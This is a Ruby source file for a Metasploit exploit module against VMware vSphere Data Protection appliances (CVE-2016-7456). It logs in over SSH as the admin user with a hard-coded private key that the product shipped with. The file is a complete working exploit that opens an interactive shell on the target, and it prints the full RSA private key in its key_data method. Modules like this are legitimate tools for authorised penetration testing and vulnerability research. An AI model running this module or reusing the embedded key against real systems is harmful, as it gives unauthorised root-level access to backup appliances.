modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware VDP Known SSH Key',
'Description' => %q{
VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ 'Universal', {} ] ],
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Author' => ['phroxvs'],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2016-7456' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],
],
'DisclosureDate' => '2016-12-20',
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
}
)
)
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login
opt_hash = ssh_client_defaults.merge({
auth_methods: ['publickey'],
port: rport,
key_data: [ key_data ]
})
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket)
sockets.delete(ssh_socket.transport.socket)
return conn
else
return false
end
end
def exploit
conn = do_login
if conn
print_good 'Successful login'
service_data = {
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'ssh',
workspace_id: myworkspace_id
}
credential_data = {
username: 'admin',
private_type: :ssh_key,
private_data: key_data,
origin_type: :service,
module_fullname: fullname
}.merge(service_data)
core = create_credential(credential_data)
login_data = {
core: core,
last_attempted: Time.now
}.merge(service_data)
create_credential_login(login_data)
handler(conn.lsock)
end
end
def key_data
<<~EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X
/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16
9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB
gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3
Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR
Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT
Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO
c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR
c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W
LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3
xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ
gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr
Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=
-----END RSA PRIVATE KEY-----
EOF
end
end